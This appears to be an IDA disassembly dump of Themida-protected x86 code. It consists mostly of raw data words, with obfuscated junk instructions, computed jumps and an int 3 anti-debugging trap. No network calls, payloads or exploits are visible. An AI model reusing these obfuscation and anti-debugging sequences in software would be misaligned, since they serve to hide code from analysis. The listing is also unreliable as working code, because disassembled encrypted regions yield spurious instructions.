dd 8A76AB54h, 319h, 6D5F7300h, 493D8032h, 0B0649952h, 463A7519h
dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
dd 55417830h
db 0CFh
; ---------------------------------------------------------------------------
loc_5CFCB9: ; DATA XREF: Themida_:0054CFA0o
; Themida_:0054E4C0o
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
pop esp
push 5902h
mov [esp], esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov esi, 16B05BD4h
push edx
mov edx, 10A8631Fh
xor esi, edx
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], esi
pop dword ptr [ebp+8]
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5534D8
; ---------------------------------------------------------------------------
inc eax
loc_5CFD35: ; CODE XREF: Themida_:loc_5CECB9j
mov eax, 618484Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
sbb ecx, [edi]
sbb eax, 0B941EB0Bh
xor [edx+48h], dl
jl short loc_5CFDBA
int 3 ; Trap to Debugger
and eax, [ebp+2D302D1Fh]
cmp eax, 1CF58727h
sbb [esi+4Bh], dl
jno short loc_5CFDA5
retf
; ---------------------------------------------------------------------------
dd 598E72EDh, 16356B22h, 0EC543766h, 2C99293Ch, 0D691F89h
dd 5D8954F9h, 8D8D469Ch, 61849F0h, 0FE9h, 33E96100h, 0B62A7C50h
dd 0AC77C816h, 4FC51EDh, 2951958Bh, 8D890610h, 61009F5h
dd 0E856006Ah, 3
db 20h
; ---------------------------------------------------------------------------
loc_5CFDA5: ; CODE XREF: Themida_:005CFD59j
pop esi
retn
; ---------------------------------------------------------------------------
pop esi
mov [esp+4], esi
add dword ptr [esp+4], 1Ch
inc esi
push esi
retn
; ---------------------------------------------------------------------------
xchg eax, edi
push 36h
loc_5CFDBA: ; CODE XREF: Themida_:005CFD48j
pop es
mov byte ptr [ebx-7495883Ah], 95h
popa
adc eax, 85C70610h
sbb [ebx], esp
adc [esi], al
nop
push 0C7F80000h
test eax, ecx
and dl, [eax]
push es
; ---------------------------------------------------------------------------
db 0
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0E9DFC350h, 5, 0A1B2FCB7h, 0EDB5FFBAh
dd 0E8061011h, 8
dword_5CFE0C dd 0BD80585Ch, 92E1F3CBh, 0EE9h, 74422D00h, 0FA330B23h
; DATA XREF: Themida_:0054B638o
; Themida_:0054C28Co ...
dd 0ACF63B33h, 5B1ABFE2h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59BA19C3h
dd 2872CA8Eh, 0F28B66F5h, 95FF006Ah, 61031C9h, 68EBC08Bh
dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
dd 808E6F2Fh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 66E0DE2Ch, 0AE388E3h
dd 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah, 32E9CEAEh
dd 0BE2B047Eh, 0E165B8BAh, 10584Ch, 0CBFE05F2h, 7CE6D53Ah
dd 0E714D4E0h, 4BA48D8Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E85219C3h, 0Fh, 5E1AE6CBh
dd 3A252230h, 0F5CAA36Fh, 89BDB822h, 1032898Dh, 0B5095806h
dd 6101D7Dh, 9F58D89h, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0E96057C3h, 8, 4BE7008Bh
dd 0EB9E7E6Ch, 0DBF48061h, 231985C7h, 62600610h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0AB548FC3h, 5A1F77Ch, 0FE9ABh, 11320000h, 60CA64B2h
dd 7FDD7883h, 0BA2F6A76h, 0C185C71Fh, 61022h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 2965C356h, 9A8C4255h, 310FD98Bh, 10106D8Dh
dd 0EDB5FF06h, 6A061011h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 4122C355h, 9F03D4EDh
dd 0FC58AB00h, 2DB995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 588B3BC3h, 44374F89h
dd 95FF006Ah
; ---------------------------------------------------------------------------
leave
xor [eax], edx
loc_5D000F: ; DATA XREF: Themida_:0054E6F4o
push es
mov eax, eax
jmp short loc_5D007C
; ---------------------------------------------------------------------------
db 90h
db 40h, 0DAh, 0FEh
dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0BB466CD3h, 0E83462C8h
dd 3FB310A1h, 411276D7h, 23A6FBFDh, 585CC37Dh, 0F3CBBD80h
dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h, 0DC014AADh
dd 682BCE00h, 0F8BE79AFh, 0A454CA00h, 23D7025Fh, 0D87CFEFCh
dd 3E3613D3h, 6199DC48h, 349FD76Eh, 2AC89337h, 88CB742Ah
; ---------------------------------------------------------------------------
loc_5D007C: ; CODE XREF: Themida_:005D0012j
jmp short loc_5D008E
; ---------------------------------------------------------------------------
align 10h
dd 3 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D008E: ; CODE XREF: Themida_:loc_5D007Cj
mov eax, eax
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_5D00A2
cmp dword ptr [ebp+6100095h], 0
jz short loc_5D00BB
loc_5D00A2: ; CODE XREF: Themida_:005D0097j
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B815h]
call ebx
pop ebx
pop eax
loc_5D00BB: ; CODE XREF: Themida_:005D00A0j
cmp dword ptr [ebp+6100095h], 0
jz short loc_5D00DB
push eax
push ebx
mov eax, 42Dh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B504h]
call ebx
pop ebx
pop eax
loc_5D00DB: ; CODE XREF: Themida_:005D00C2j
or edx, [ebp+6102D7Dh]
push 0
push edx
call sub_5D00EC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D00EC proc near ; CODE XREF: Themida_:005D00E4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5D00EC endp
; ---------------------------------------------------------------------------
dd 4A0F0E02h, 8B3D43EBh, 8E9C0h, 0B66C0000h, 0A764D570h
dd 8D8BCF16h, 6100B5Dh, 437DCE81h, 0F98365DEh, 6A840F00h
dd 8B000000h, 1016AD95h, 3D8B6406h, 2Ch, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C5C35545h, 50517968h
dd 62B288EAh, 840FFF0Bh, 31h, 219D89h, 3F8B0610h, 9E8FCh
dd 0BE670000h, 920742DEh, 66DF1677h, 0EF4E681h, 0E9C0325Eh
dd 5, 0EA63B6B1h, 29AAF3B9h, 100B91B5h, 41493506h, 85C65350h
dd 61023E5h, 0F98D8947h, 68061009h, 7399E022h, 5EF28B51h
dd 0A240481h, 6A693CA8h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 37D8C352h, 894C7057h
dd 1016A18Dh, 45B5FF06h, 6A06101Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B2F7C357h
dd 0D847995Ah, 0D2BA8E34h, 8D44C2FAh, 13858A85h, 51858906h
dd 8B061021h, 102379B5h, 6AD0FF06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A31AC352h
dd 0A90AED07h, 0D4D153FDh, 18A1B58Bh, 85890610h, 6100F95h
dd 0EE9h, 0B9A40E00h, 985A8B6Dh, 41560839h, 0C64535D9h
dd 1023E585h, 6A5306h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 5FEE5BC3h, 8691FCECh, 6800F5Dh
dd 8B000000h, 102D0D95h, 0EE906h, 0A8EB0000h, 0A26CEF46h
dd 682A1658h, 0C362B174h, 2A199D89h, 18680610h, 0BADBE5A0h
dd 41A22692h, 0E4243481h, 1537DCAh, 101FED95h, 45B5FF06h
dd 5606101Dh, 5ED2BF0Fh, 8A858DF9h, 6A061385h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 2353C356h, 8F0FF158h, 6, 2F69958Bh, 0D0FF0610h, 1FAD9D89h
dd 858D0610h, 61345E6h, 9FAABE56h, 0F55E41F7h, 6B98589h
dd 8E80610h, 39000000h, 75F29051h, 606B6289h, 89C68B66h
dd 100D3D85h, 6A5A6106h, 0FFFF6A20h, 1006B995h, 41493506h
dd 85C75350h, 6102969h, 1, 148D85C7h, 610h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0B5205DC3h, 578F9A98h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0C3C35141h, 36E62F86h, 0BD858BEBh, 0E906101Fh
dd 13h, 8288ACC4h, 66169C68h, 0A42E8449h, 0C70D4059h, 6413607Ah
dd 0A3h, 5AA3BE00h, 0BD831A33h, 6103105h, 77840F00h, 0E9000000h
dd 12h, 0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h, 858B902Dh
dd 6100849h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 8DC35747h, 0F30996FBh, 0B9D6813Fh, 8B734C35h, 50006AE0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0FE97597h, 8B000000h, 778480C9h, 0C17F1EC8h, 0EA65C71h
dd 0BD83282Bh, 610116Dh, 55850F00h, 6A000004h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 29CEC351h, 7B9010C8h, 7E985h, 778A0000h, 0C792777Eh
dd 0E585C679h, 56061023h, 8468D38Bh, 0BEC35577h, 4D24912Ch
dd 5B243481h, 6A6A9047h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 8DE2C352h, 81403592h
dd 0CA81D1EAh, 45B5FF33h, 0F06101Dh, 858DF6BFh, 613858Ah
dd 0FFCED680h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 9D5ECA6h, 100B71B5h, 5DB58B06h
dd 9006101Eh, 505081B2h, 66310F52h, 5A4A78BAh, 8D8D9058h
dd 61015A5h, 469AAFBEh, 65958921h, 91061020h, 5E857h, 0F7C70000h
dd 66C57F02h, 5A5031BEh, 8E9505Ah, 7E000000h, 0E1E1C0BBh
dd 919D71B0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 1DC35141h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 666031C3h, 47EBD781h
dd 565BD01h, 68610610h, 0EA3D5F02h, 81D08B66h, 0B0FE2404h
dd 858915C2h, 61030D1h, 1FD5B5FFh, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 17E7CCC3h
dd 50B4C178h, 0B960DF37h, 2D4DDE25h, 61F8BF0Fh, 11E8h
dd 4527300h, 5B05118Fh, 12E538ECh, 0D36FAA2Eh, 0BE8C158h
db 3 dup(0)
byte_5D05EF db 46h ; DATA XREF: Themida_:0054D748o
dd 0A04AF3Dh, 849E815Ah, 6E98185h, 13000000h, 84321F7Ch
dd 505A5E99h, 12E8h, 3B56E200h, 68088B0Bh, 0F3379462h
dd 2BF1542Dh, 18BF315h, 1022DDB5h, 0FF5A5A06h, 51006AD0h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8A0F150Bh, 0Ch, 6850Fh, 958B0000h, 6100729h, 8BB6F680h
dd 101FD5BDh, 1DB58B06h, 3061020h, 0D08B3C7Fh, 0F8C781h
dd 9D890000h, 6100E21h, 202447C7h, 0F600000h, 8Ah, 13BD8300h
dd 6184Ch, 111840Fh, 95030000h, 6103161h, 5628C783h, 7C75AF9h
dd 64696A2Eh, 25958B60h, 6606101Fh, 0C761FB8Bh, 74610447h
dd 0F600061h, 688h, 1D958900h, 89061020h, 100089BDh, 0B58B6106h
dd 6100255h, 4C1B858Bh, 0F08B0618h, 6A0C4789h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0B780C352h, 5217CC5Ch, 249BD89h, 295A0610h, 10211D8Dh
dd 1F858B06h, 8906184Ch, 1001319Dh, 9E806h, 7A0A0000h
dd 0D195A6D5h, 8161A9A6h, 159694F2h, 47895E03h, 0D18B6608h
dd 6628C783h, 9533F28Bh, 6103161h, 632E07C7h, 0E6816E6Fh
dd 5184DA6Bh, 660447C7h, 89006769h, 102F7195h, 17858B06h
dd 6A06184Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 920BC355h, 885CD333h, 0C478952h
dd 13858BFCh, 3106184Ch, 1029F985h, 8478906h, 8C0FF560h
dd 4, 0EC1EBA66h, 0E5B53361h, 58061030h, 8D8D5A52h, 6102EA5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 94C35646h
dd 3356B86Dh, 102781B5h, 0E9505A06h, 0Bh, 3E1106ABh, 3E936DF1h
dd 8928C903h, 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 53EE51C3h, 2861B58Bh, 0E95E0610h
dd 0Dh, 0F7434571h, 0E6DB188Eh, 0FB4AFF6Ah, 0A5B5FF45h
dd 8B061015h, 100A95B5h, 86F6806h, 0AE940F3h, 83000000h
dd 829AADFFh, 0CF400BD2h, 24348132h, 40F3186Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0E807F84Bh
dd 69B50B7Ah, 0FF061031h, 101FD5B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 14BCB2D9h
dd 29639D6Fh, 101D51B5h, 0C1806006h, 0C58503A7h, 61061009h
dd 958BD0FFh, 61010BDh, 0B8h, 0BD38B00h, 24840FC0h, 8B000000h
dd 10276DB5h, 8DB5FF06h, 0E9061030h, 7, 0A1645F36h, 0FFC370B4h
dd 102DB995h, 51B50106h, 8B061031h, 41B533C0h, 83061002h
dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h
dd 42DB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h
dd 0BD83585Bh, 6100095h, 50177400h, 42DB853h, 85890000h
dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 9589585Bh, 6101F9Dh
dd 68C0Fh, 0E6810000h, 48EE748Dh, 8166C08Bh, 661B36E6h
dd 0C08BF78Bh, 0BE9h, 5F41C200h, 18h, 0
; ---------------------------------------------------------------------------
jmp loc_5D0EA2
; ---------------------------------------------------------------------------
db 38h, 96h, 53h
dd 71A860D7h, 4E873EBDh, 6BA85BDAh, 85C468EFh, 35A7E3C9h
dd 61D85493h, 3CBB6FB0h, 88F4B86h, 0BBAE2A5Fh, 2878CAC1h
dd 3F9C6BD4h, 44793275h, 0BD973950h, 36F2CE09h, 1FD308BFh
dd 1520204Dh, 0A159BB33h, 23580FCCh, 79B0586Fh, 805A0E8Dh
dd 81E591C8h, 711AB165h, 0CE75483Ch, 2A989337h, 0CA6DCCDFh
dd 897724Eh, 0EA1FC869h, 843E76Eh, 0E621C554h, 0A9EA9B3Ah
dd 255C04D7h, 0B54C5648h, 3873171Eh, 7E4EF584h, 0C0B490C5h
dd 0CCDF2C99h, 2DC4F36Dh, 6A9305C8h, 3DE67533h, 877BBC6Dh
dd 57DBC7ABh, 76CE82h, 0D73C0000h, 7C4002A9h, 0C8A46DCCh
dd 7C4FF3B6h, 0CBA76DCCh, 407E25AEh, 0EEFC0A57h, 0A24E729Fh
dd 0CC8D4DF3h, 56EDCE6Dh, 6A453A93h, 13C1AA33h, 0C0D044BCh
dd 1011B794h, 2F000000h, 70E85A51h, 100C6DCCh, 0C8BCF399h
dd 32B58F6Ch, 0DD4F437Ah, 52700DF0h, 6E8BCCD1h, 1C083FE5h
dd 0B6F59722h, 0CA9166CAh, 813CE825h, 0EAA28322h, 6E2299B3h
dd 15A41A2Fh, 0E785396Eh, 225F04D7h, 9BDA8E45h, 0F838F0E7h
dd 5E0E9449h, 2EE2FE37h, 8AAB4A59h, 4933A7E6h, 33CE7437h
dd 0F5F16DCCh, 26C966B3h, 0D087E39Bh, 4F0CE118h, 77896398h
dd 0CC2B0EB4h, 6D8AE66Dh, 3A731AB1h, 0CF661D46h, 8C36F50Bh
dd 686DCC2Bh, 0F528EF0Ch, 0D5336ADCh, 73h, 6104D737h, 0B0557420h
dd 0B57E5B77h, 4E20D413h, 0F29ED58Bh, 2BE2596Eh, 546BFEF2h
dd 0EFA219BDh, 9D9BC2A5h, 0F332731h, 71EAFF63h, 0F2CC80BFh
dd 9A91C467h, 6DCC2D28h, 807450CCh, 580CC7A4h, 0B96E6D19h
dd 0A4DF887Ch, 0E335E80Dh, 4C15336Ah, 77000000h, 533F7E32h
dd 0D7AB62D9h, 290DF932h, 0FFA3304Dh, 7E2FAAC4h, 8B5E203Dh
dd 70141DB4h, 32EF7D31h, 84F437Ah, 6DCC7CBFh, 0EEA2D790h
dd 7FB30D7h, 48740BB4h, 48CEFF81h, 26970FFBh, 7C13A8C5h
dd 6A9F3879h, 11833h, 32720000h, 0C605A77Bh, 2BDF56DAh
dd 0A920D4F0h, 6ED4D702h, 866DCC7Ch, 0BBDAC6AAh, 0BFD6CA09h
dd 0A625D10Ah, 57DBC7FEh, 0F130CF70h, 71E3FF40h, 4B0223C2h
dd 7CD56D1Ch, 35316DCCh, 0B1489D11h, 0E389502Ah, 0BD7CF8ACh
dd 0E4FCD106h, 0FC06C425h, 0CBBEA067h, 94238A77h, 30E425C8h
dd 7DD73C34h, 147AE2ECh, 39E9FEE2h, 0F398233Dh, 612FF6ADh
dd 668AD5DEh, 4DF69591h, 6E15A418h, 0A61E4D39h, 9B94233Bh
dd 1BC46D04h, 3CE372E6h, 0C37C1B07h, 7E47D585h, 6185F8E3h
dd 5E80D8B5h, 234717ABh, 34D8EF94h, 27FCD1F5h, 0CD02A988h
dd 0FA834E11h, 7163397Bh, 0A9000001h, 1D15BD5Ch, 0C2FFA4BDh
dd 24C84095h, 4E7B2E40h, 7667FCC5h, 0C521A188h, 69C5943Ch
dd 0B8928E94h, 0C55FE3A6h, 0BBB7943Ch, 0C558EAA1h, 60BC943Ch
dd 43FC9B8Bh, 33522805h, 0A6791Bh, 9C5A1C5h, 0E1B3637h
dd 493C1344h, 0CB00A734h, 0D207C0D7h, 0BB5A691Eh, 12E49C1Fh
dd 293E225Bh, 8C4F9B2h, 99823536h, 6A8AF6DDh, 0DF93AEBh
dd 824B5429h, 62397B30h, 50h, 1AC15CA8h, 7CD94940h, 0F2DBEDCCh
dd 0F2B5C9A6h, 0A16176EFh, 1C550CCFh, 0A51D0C68h, 41EDCC54h
dd 461501E5h, 0EDCC54FCh, 0CC8322E1h, 0D9D0AA31h, 6DCC5449h
dd 633DF16Dh, 54348E7Dh, 54D06DCCh, 0B2CA77h, 0F5F60000h
dd 0DF00DE57h, 0C4607D5Ch, 110296D7h, 1F6D3C59h, 22471D10h
dd 491E422Fh, 0ACBE1DBCh, 2A3F782Dh, 81432856h, 7D16DE40h
dd 0A1DA8F46h, 94BADFCCh, 0D04C67FCh, 0C9FEA524h, 467B24B7h
dd 3D01D65Ah, 50C705BEh, 0ACE307AFh, 0EAB16581h, 943CBD5Fh
dd 8D942B14h, 0D82DA1D6h, 0C9C09A41h, 9E046E43h, 0DCFBA783h
dd 2DCEE23h, 1416BB07h, 0BE645B9Eh, 9C8A5F83h, 630F48FDh
dd 9A86BB64h, 9B21C0DFh, 64FB9A29h, 8A748655h, 0A04818CFh
dd 0B3708D69h, 942CBB35h, 3E7B30ABh, 9F9CE52h, 0B99EDF92h
dd 10167D45h, 0B8745099h, 71B253E6h, 0CCA185h, 4C1EBD5Ch
dd 0F4D1DF5Dh, 0F09BC567h, 942BD052h, 0E1A1B6B2h, 51FA9185h
dd 7219A01Ch, 64F7493Dh, 0BA7186BBh, 0F660BB5Eh, 4CD56C53h
dd 6BEA5E93h, 0F4937FB4h, 745E124Fh, 1DA5647Ah, 32B66CECh
dd 0D34F437Ah, 992A3F1Bh, 4F843BFAh, 6EA35CDBh, 31182h
dd 5F6B0000h, 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h
dd 3F7E32A9h, 51903453h, 448126A5h, 5B943950h, 417830A7h
dd 8952CF55h, 4C281E2h, 56000000h, 4BEh, 5EF22900h, 5C241487h
dd 7D3368h, 24048900h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
dd 68242C89h, 61854FAh, 8324048Bh, 0A06804C4h, 89000006h
dd 4832424h, 515D0424h, 8B9h, 52E90100h, 1189C289h, 2C8B595Ah
dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
dd 4C48158h, 0E9000000h, 0FFF8263Ch, 6226165Ch
db 32h, 69h
; ---------------------------------------------------------------------------
loc_5D0EA2: ; CODE XREF: Themida_:005D0960j
mov eax, 61859B7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 61h
dd 75620362h, 0C6274EC9h, 813A57BEh, 521F334Ah, 9A124F4Eh
dd 5123F475h, 73727A96h, 0B172DAFFh, 276A7803h, 0AC096F8Bh
dd 0FD29B2E2h, 781E4640h, 871DA668h, 566FFF26h, 5620D338h
dd 97755D2Dh, 2E2D5CECh, 552ECFB0h, 0E9539356h, 24h, 171E1911h
dd 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D146A
; ---------------------------------------------------------------------------
db 78h, 0D6h, 93h
dd 0B1E8A017h, 8EC77EFDh, 0ABE89B1Ah, 0C504A82Fh, 75E72309h
dd 0A11894D3h, 7CFBAFF0h, 48CF8BC6h, 0FBEE6A9Fh, 26B80A01h
dd 7F5C6BD4h, 0DD468469h, 7A26EE11h, 4D7C75Dh, 9DD68B5Bh
dd 94698DE9h, 37EB20C7h, 5D12ECA0h, 0D4F07420h, 9D25E4FAh
dd 796DCC7Ch, 8456E0FDh, 2DD90EB5h, 7CEA5853h, 0E0A6DCCh
dd 0E59E1532h, 691B9EB0h, 0DDFA762Ah, 0CC01AA21h, 65DDCCB2h
dd 816DCC7Ch, 0BFD6C8A5h, 58933709h, 0CEF5887Ch, 35EE37h
dd 0DE19CD4Ch, 0FC37EB6Ah, 4E09108h, 0C2802B60h, 226DCC7Ch
dd 0F8AB2A46h, 876BC7BBh, 0D9637875h, 5ED902F8h, 780B9D89h
dd 77B258D9h, 568B34C3h, 6042FBAAh, 0F6C56DCCh, 1A579A5Fh
dd 5437336Bh, 95000000h, 50447932h, 6DA65BDEh, 7C2D9390h
dd 0CDEE6DCCh, 365AB336h, 13A336Bh, 90000000h, 4F437A32h
dd 0AD599038h, 483C792Eh, 0AE629D51h, 4A367517h, 0C60AA958h
dd 0EC35CCF3h, 0BA41FD34h, 7E60DC11h, 0AF0C164Dh, 53CFC3F8h
dd 0D6138666h, 0B96DAE5Fh, 3204A0BDh, 34533F7Eh, 0ECA1558Ch
dd 57F938D7h, 6E15A418h, 974E4D39h, 1E51EC3h, 6DEC4415h
dd 0D76C81B6h, 661B9E38h, 0E0FD792Dh, 6B33E617h, 71C633h
dd 0D7040000h, 0E2866004h, 4FD3BFA3h, 0D00FC17Ah, 0C700A524h
dd 60FFA0DBh, 5CD00FC1h, 3C14B782h, 7C284C85h, 0B458E3F8h
dd 650A8175h, 0DE835628h, 5875F1A5h, 0B883FDA6h, 4126DA0Fh
dd 8B1D903Ah, 0E4F9DD79h, 7C45A03Fh, 5C336AA0h, 62h, 0A47E32AEh
dd 50D4C001h, 65098074h, 9C83762Ah, 29681C05h, 26B5CBB5h
dd 0EC564580h, 86DCC7Ch, 0D7754F2Ch, 74206104h, 0A860DBF0h
dd 7C32907Bh, 56D26DCCh, 66DF867Ah, 0A96DCC7Ch, 4002A9D7h
dd 0A46DCC7Ch, 173B7C2Dh, 27C26142h, 336B35E6h, 0DC6h
dd 0DA93B800h, 744E751h, 0EDDB73E2h, 7B323410h, 2DC4E42h
dd 7C952DDCh, 0F5716DCCh, 0CC7CBC06h, 2DC586Dh, 0CC7CBB07h
dd 0EAFF5B6Dh, 9185BA71h, 4CD56C07h, 0FEE05C95h, 4C0313CDh
dd 2439C523h, 1A032C1h, 0F27E560Fh, 41E802DEh, 67FC3DD8h
dd 0BB7728Ch, 24943C4Dh, 0D551457Ch, 0E68A411Dh, 54D0D2A7h
dd 4D8229A0h, 2C610A91h, 0A8E38752h, 0A36378FCh, 3C4D4CF4h
dd 83220194h, 9AB4E9A2h, 0BD1F9AB1h, 76174DAEh, 1E54135h
dd 3CE372ECh, 9A211B07h, 69CDB9F4h, 0F520C794h, 1AA2200Bh
dd 0E642943Ch, 3C1A833Fh, 0B86C6394h, 0CDA98D79h, 2A9D7A9h
dd 943C1A40h, 3A45256Fh, 9F4F8415h, 51458428h, 2CDFF1D5h
dd 943CCA96h, 29D5F26Eh, 71B04F74h, 0F06B85BAh, 73EB0039h
dd 7A8065A8h, 1254539h, 5C870000h, 5D4C1EBDh, 67FC266Ch
dd 12B38658h, 5A4125D1h, 9423AAE8h, 473B100Ch, 0DE277DE2h
dd 0D3ADB2Ah, 13138A48h, 792D499Eh, 0B874A962h, 11BA8A41h
dd 8D0CF8DCh, 98F5A1D6h, 1EC56C03h, 0BB8A38F3h, 0EE6A9423h
dd 478456D2h, 0D3ACDFA7h, 4564890Bh, 0D5C31276h, 0F6B7C09Dh
dd 66397BEEh, 0B45A2ED3h, 0CDA98D79h, 0C8805DD9h, 27h
dd 1AC15C42h, 7CD94940h, 21FDEDCCh, 7C9C2675h, 8241EDCCh
dd 8A516CE3h, 7C29B970h, 51CD6DCCh, 916CDDh, 5CE00000h
dd 0A6DD83BDh, 90F9B0CAh, 5467FC0Ch, 93C37F2Ah, 47239423h
dd 0F47032h, 6BE3D2Eh, 0DDCA8399h, 578C3300h, 5ED4F9E3h
dd 1025F984h, 0FAB12A3Fh, 574B822Ah, 0E8E5F7DBh, 1587D7D4h
dd 88765331h, 230C66E1h, 0AF46DD94h, 34A8DD86h, 0CD75344Ah
dd 2994230Ch, 0CEC2FBB2h, 0C596E52h, 2DDCEEEDh, 9E1BA600h
dd 576E22FEh, 7F617BB0h, 1B69368Ch, 0D352CE9Eh, 28D6F330h
dd 0EF6C03BEh, 620EEAE8h, 0EFA36D4Dh, 2512F9D3h, 0E19423C0h
dd 5C43C985h, 5D4C1EBDh, 67F4D670h, 0FD3AED6Ch, 4A502D09h
dd 0FCA322CEh, 0DB8413C7h, 0B2ABFAA6h, 69E52153h, 0D17ABB5Ah
dd 5A506F93h, 144D7AB3h, 0B02C480Eh, 1B580BCEh, 99CE753Eh
dd 595A93EDh, 13A6FAB2h, 337931B5h, 54D01406h, 0D6F334D5h
dd 19D2AA5Dh, 6BEE00E4h, 8BE7DB6h, 805DD9CDh, 9F1A147Eh
dd 99AAFECh, 47E9706Ah, 43181C08h, 1E9ACF78h, 0C7BBF097h
dd 0CDEh, 215F2E00h, 2C2A2F2Ch, 0ADCAE896h, 3D803217h
dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h
dd 448126A5h, 5B943950h, 417830A7h, 1468CF55h, 8900002Ch
dd 6E68240Ch, 8900007Bh, 6A68243Ch, 89000003h, 3CBF242Ch
dd 525D2714h, 230923BAh, 81D2F767h, 8D6CCDC2h, 95C28173h
dd 291F44C7h, 0F74F5AD7h, 3E7C1DFh, 587FEF81h, 0EF8165CDh
dd 85B04DFh, 4EC81h, 24890000h, 24048124h, 4, 4EC835Dh
dd 0BA241489h, 8, 3A89EA01h, 242C8B5Ah, 81E18951h, 4C1h
dd 4C18300h, 5C240C87h, 52243C8Bh, 0C281E289h, 4, 8704C283h
dd 0E95C2414h, 0FFF82070h
; ---------------------------------------------------------------------------
aam 62h
loc_5D146A: ; CODE XREF: Themida_:005D0F20j
mov eax, 6185F6Bh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 91h
dd 9B16540Bh, 0E1012CD7h, 0AA3AEACBh, 0C823F196h, 5B33D13Fh
dd 41680ACAh, 0E423362Bh, 4D1466B8h, 3C146728h, 0AE0ABA3Ch
dd 6336C7C3h, 0A21373E0h, 0F503C020h, 8A5C8A2Ah, 10510372h
dd 2201F787h, 0C534404Bh, 780A0D9Ah, 0BF41C910h, 5068961Eh
dd 0E8762646h, 2D0C19C1h, 0AB687ADCh, 970E670Bh, 2D68A9CDh
dd 0E81018B3h, 0Eh, 0B10CE1A5h, 0BF03B48Ah, 0C11A4B35h
dd 8A0F15C6h, 5, 2C5624BAh, 9E95B40h, 0ED000000h, 393E89D9h
dd 58EDDDC6h, 5EAEC381h, 0C0810000h, 58505A5Bh, 0CB8AF62Bh
